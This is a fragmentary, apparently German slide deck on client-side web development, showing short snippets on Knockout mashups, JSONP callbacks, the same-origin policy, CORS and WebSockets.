  • 33. Mashups! define(['jquery', 'knockout', 'knockout.mapping', 'domReady!'], function ($, ko, mapping) { var url ='http://search.twitter.com/search.json?q=%23xss&callback=?'; $.getJSON(url).done(function (data) { var viewModel = mapping.fromJS(data); ko.applyBindings(viewModel, $('#tweets').get(0)); }); });
  • 35. JSON JSON with Padding {"hello": "world"} <script> </script> <script src="http://search.twitter.com/search.json?q=%23dnc13&callback= foo"></script> var foo = function(json) { $('#output').text(JSON.stringify(json, undefined, 2)); }; foo({"hello": "world"}); » Demo
  • 36. JSONP
  • 37. SOP Same origin policy → Not macht erfinderisch (JSONP) CORS Cross-Origin Resource Sharing → Access-Control-Allow-Origin: * WebSockets do what you want
  • 43. » Sicherheit von Web-Anwendungen